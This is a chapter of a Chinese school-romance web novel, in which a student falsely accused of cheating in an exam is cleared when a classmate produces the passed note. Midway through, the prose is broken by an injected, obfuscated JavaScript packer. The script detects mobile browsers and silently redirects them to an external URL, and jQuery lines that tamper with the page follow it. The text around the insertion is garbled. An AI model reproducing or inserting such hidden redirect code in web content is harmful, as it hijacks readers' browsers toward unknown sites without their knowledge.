许泽锐忽然想起什么似的猛地抬起头,目光紧盯着对方,问道:“对了,你刚刚说的笔是怎么回事啊?”
“哦,是上次考试他坐我前面,我忘记带笔了,然后他就借我嘛。”
“我去!你怎么不早点告诉我啊!你是不是早就知道他叫什么名字,故意不告诉我啊?”
陆严言真的是太冤枉了!他一脸无奈地解释道:“这怎么可能?当时那种情况,我连笔都来不及还给他,哪有时间去问他叫什么!”
许泽锐终于放弃,“好吧。”
“我们今天好像发现了他什么见不得人的秘密。”
陆严言听出了他说的是那张照片的事,随即也愣了一下。“嗯…”
许泽锐开玩笑道:“你去勾引他,然后把他甩了。”
陆严言靠了一声,骂道你咋那么缺德。
“怎么不是你去呢,你勾引技术应该比我好。”
许泽锐呵呵笑了两下,无语地说:“我才不要!我讨厌死他了。”
陆严言不解道:“他不挺帅的吗?”
许泽锐小心翼翼地看向陆严言的侧脸,不过对方并没有察觉到他的目光。
许泽锐说:“那当然是在我心里有比他更帅的呀。”
“听你这话是有喜欢的人啊?”
陆严言调侃道:“是谁啊?说出来我帮你把把关?”
见许泽锐如闷葫芦一般不肯说,他继续喋喋不休道:“这种事情最好还是不要瞒着我哈,万一人品不好就危险了。”
“不用你操心!我眼光没问题。”他的声音中带着一丝恼怒,脸色微红。
怎么突然有脾气了?陆严言心中充满了疑惑,他实在想不明白对方为何会突然发脾气。
———
报仇计划被搁置,两人平常地过了几天。
直到快放假的前一天,最后一节课,上一半老杜突然把陆严言叫了过去。
陆严言跟着来杜树人办公室,才发现了办公室里还站着三个学生。其中一个是他们班单科化学第十名。另外两个他不认识。
杜树人指着那两个他不认识的人问:“陆严言,这两个是之前跟你在同一个考场考试的同学,你认识吗?”
他老实说:“不认识。”
杜树人的脸色涨得通红,额头上青筋暴起,他的双眼瞪得如铜铃一般,死死地盯着眼前的人,“不认识?不认识他们怎么说你作弊?你告诉我你是不是作弊了!啊?我给你这个机会,不是说你就一定要得奖!你干什么不好你作弊!?你…你!”
一中抓作弊是出了名地严,一次作弊换来的可能就是开除。也难怪杜树人这么气。
“我、没、作、弊。”陆严言紧紧咬着牙关,从牙缝中挤出这四个字。
杜树人叫起了其中一名同学,那名同学便开口说道:“那天晚上,我看见他和沈隅在传纸条。”
“不是?传纸条咋了,我跟他感情深聊会儿天不行?”
杜树人让他闭嘴,又叫了另一位同学。
那名同学也给他作弊提供了证据,“当时我看到他和沈隅传完纸条又在试卷上改了几个答案。”
陆严言想说这真的是碰巧你们信吗,他最后实在是无聊看了遍试卷然后又恰巧发现了几处错误所以才改的。
不过很显然,如果他说出来,撒谎的意味就更明显了。
杜树人恨铁不成钢地看着他:“事到如此,你还不承认吗?”
陆严言顿时如鲠在喉,但是要他承认自己没干过的事,还是有些困难。
所以最后他只是固执地重复那几个字:“我没作弊。”
杜树人连连道了几声好,拿出手机调出了当时考场的监控录像,现场完全就是按刚刚那两名同学说的一样,他给沈隅互传了三回纸条,然后他就在试卷上改了答案。证据确凿,如果陆严言不是本人,大概也会相信。
但是他当时真的没想太多,要是知道有这一茬,他打死也不跟沈隅传纸条,或者不去改那个答案。
说的也是,如果没有确凿的证据,杜树人根本不会叫他来。
杜树人虽然听外界对陆严言有很多不好的评价,但他依然没有因此戴上有色眼镜,甚至对陆严言可以说得上是关照。
陆严言只能尝试着给自己做着最后的辩解:“你说我作弊了,那就是说纸条里面写的是答案,那如果里面不是呢。”
那个一句话都没讲的第十名终于开口了:“那你就把纸条拿过来让我们看看啊。”
陆严言顿时感到一阵为难,首先,这纸条在沈隅那里,他不好意思要,其次,就算他去要了,沈隅也不一定有,毕竟正常人早就扔了。
大家都沉浸在这场指证之中,没有注意到政教处门外正溜过一个穿黑色T恤的人。
与此同时,八班———
纪思庭倚在八班门前,看着虽然放学但仍旧留在教室学习的沈隅。
“沈隅,你那个恩人出事了。”
本来还没注意到有人来了的沈隅,听到这话,没多问,立刻从座位上站了起来走到门口。
“怎么了?”
“他在政教处,我好像听到他们说了什么作弊,纸条什么的,还提到了你的名字。”
单凭这几个词,沈隅一下就猜到发生了什么,赶回座位拿出了被放在笔袋夹层折的工整的纸条,立马往政教处奔去。
被无视了的纪思庭略感无语,心道,小兄弟,你还是太嫩了,如果不是我告诉你,你的恩人就要被开除咯。
办公室里———
“不用再说了,跟我去办理退学吧。我已经跟你妈说了,她一会儿就到。我不想强留你,如果这件事被大家知道,你的名声也彻底毁了,继续留着也没意思,人如果没有一个健康的心理,谈何学习呢……”杜树人像是有感而发,语气中藏不住的惋惜:“去找一个新的好学校吧。”
就在杜树人准备领陆严言去人务部时,忽然,政教处的门被狠狠拍开了。
来人的校服穿的一丝不苟,可却在不停地喘气,像是飞奔过来的。
陆严言死也想不到竟然能在这里见到沈隅。
“我可以证明他没作弊。”
几个人都对沈隅的到来感到震惊,过了好几秒才反应过来。
“什么证据?”杜树人问他。
他把手里的纸条递给杜树人,杜树人接过一看,皱了皱眉,但神色对比刚刚,竟说得上是松了一口气。
纸条跟监控里那张长得一模一样,那个丑的要死的蚯蚓字体也能看出是陆严言的,而旁边的行楷大家也知道是沈隅的,毕竟人家的书法作品现在还挂在门外,谁要是不相信,到门外对比一下就知道,这的确是那晚他们传的纸条没错,但内容,却并不是他们口中的答案。
这时候政教处又来了个人,手上拿着张试卷,特别吊儿郎当没个正形。
“停停停,你们这些说他作弊的人是脑子被门夹了吗?”这句话简直无差别地攻击到了四个人。
“………”
“………”
“………”
“………”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279481|182493||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“你看这解题过程,乱的要死,稍微改严一点他都没分,谁敢说这是沈隅的解题过程?你们不瞎吧?”
在场的大家都十分无语。
陆严言认出那是自己的试卷,解题过程还被人明里暗里讽刺了一番,他十分无语道:“你怎么拿到我试卷的?”
“这个嘛…”纪思庭露出一抹坏笑。
他刚刚本来就是想过来政教处这边看个热闹,头一次见沈隅这个人这么着急,简直着急的有些失态,不来看看怎么行呢?
结果路过一班,一个娘们唧唧的人哭丧着脸跑过来,问他是不是要去政教处,他说是,那个人就把这张试卷塞到了他手里。
那个人一开口,就仿佛要哭了一般。“帅哥,求求你帮我把这个试卷带到政教处,我朋友在里面,他被人冤枉了。这份试卷是他的,这解题过程一定是他自己写的,你能不能帮我卷给杜树人老师啊求求你了。他看完这个一定会相信他的!”
然后他就接过来了嘛,他看了那试卷两眼,简直要气炸了。
这写的这么烂也好意思说是抄的沈隅的?这也太侮辱他好兄弟了!
然后就有了刚刚那一幕。
陆严言想打许泽锐。
不过幸好,有这双重证明之下,他终于被宣布无罪释放,最后,杜树人扣了他违反考场纪律三分,这件事情就这么结束了,他没有被开除,逃过一劫。
陆严言偷偷瞄了眼站在自己前面的沈隅,他比自己高了半个头,肩也比他宽,只是站在他的身后,陆严言就情不自禁地感到安心。
他已经没办法再说服自己一码归一码了,他现在真的非常非常发自内心地感谢面前这个小沈同学。
因为内心的感激之情占据了他的大脑,所以他也没仔细去想为什么沈隅会这么刚好地出现在这里。
处理完这件事,他和沈隅并肩走出了政教处。
陆严言已经在心里默认沈隅是属于他这个阵营的人了,一起走当然也是应该的。
走到分叉路口,沈隅是内宿生,要回宿舍,陆严言是走读的,要去校门口。
陆严言站在门口,正准备转身离去,他面带微笑地向沈隅挥了挥手,说道:“我回去啦,今天真是太感谢你了,拜拜!”
然而,就在他的话音未落之际,沈隅突然开口说道:“等一下。”
陆严言原本已经迈开的脚步瞬间停了下来。他有些疑惑地转过身,看着沈隅,问道:“怎么了?”
“以后如果还有像今天这样的事,可以找我…”
陆严言心想,嘿,这哥们还挺仗义。
然后,他听见他又说:“上次抓你校服,不是故意的,只是学校那边的安排,你不要生气…”
陆严言连连摆手道:“没生气,没生气,你这不也是没办法吗,我没怪你,哈哈。”
他说这话其实内心一阵心虚,当时他可是打定了要给他的点颜色瞧瞧呢!不过现在他也是真的不生气了,一来刚刚他救了自己一把,二来呢,他也确实不是故意的,陆严言想了想,值日生都是听命于学校,自己身不由己不说,还要到处得罪人,真是太可怜了!
“那…我先走啦?”
看沈隅又一副欲言又止的样子,陆严言问道:“你还有什么要说吗?”
愣了一秒,沈隅开口说道:“没有。”
“那我走了。”陆严言作势要迈往校门口。
“嗯,拜拜。”沈隅举起手对他挥了下。
陆严言笑的灿烂,挥舞着手跟他说:“拜拜啦!”